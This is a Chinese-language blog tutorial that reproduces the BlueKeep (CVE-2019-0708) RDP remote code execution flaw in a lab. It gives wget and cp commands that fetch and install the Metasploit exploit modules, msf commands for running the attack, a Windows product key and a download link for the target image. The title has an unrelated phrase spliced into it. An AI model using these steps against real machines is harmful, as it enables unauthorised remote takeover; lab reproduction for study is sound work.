2019输入序列号闪退_CVE-2019-0708 BlueKeep远程桌面代码执行漏洞复现

1、前言

CVE-2019-0708 远程桌面代码执行漏洞是通过检查用户的身份认证，导致可以绕过认证，不用任何的交互，直接通过入RDP协议（3389端口）进行连接发送恶意代码到电脑中去。

这个漏洞最早在5月份被曝光了，9月初就有POC代码公布了，一直没有时间实践一下。

2、漏洞影响的系统

• Windows 7
• Windows Server 2008 R2
• Windows Server 2008
• Windows Sever 2003
• Windows XP

3、靶机环境搭建

本次复现的靶机环境为 Windows 7 SP1的旗舰版

靶机下载：

链接: https://pan.baidu.com/s/14aSIZgOebdLmeI2l9lGx_w 提取码: bw7m 

升级一下系统版本

输入序列号：

6K2KY-BFH24-PJW6W-9GK29-TMPWP

开启远程桌面服务

查看靶机IP地址

4、攻击机Kali2019配置

下载POC攻击代码

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb 

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb 

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb 

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

将POC复制到msf中对应的路径

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cp cve_2019_0708_bluekeep_rce.rb usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

文件夹不存在的，需要手工添加

5、漏洞利用

启动msf，使用reload_all重新加载0708的利用模块

探测目标端口，开放3389端口

搜寻bluekeep利用模块

使用exp攻击利用模块

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

查看options

配置靶机IP

查看target，设置target为3

开始攻击

就这么简单地成功获得了shell。

在复现过程中可能会出现导致靶机蓝屏重启，没办法获取shell，多试几次就行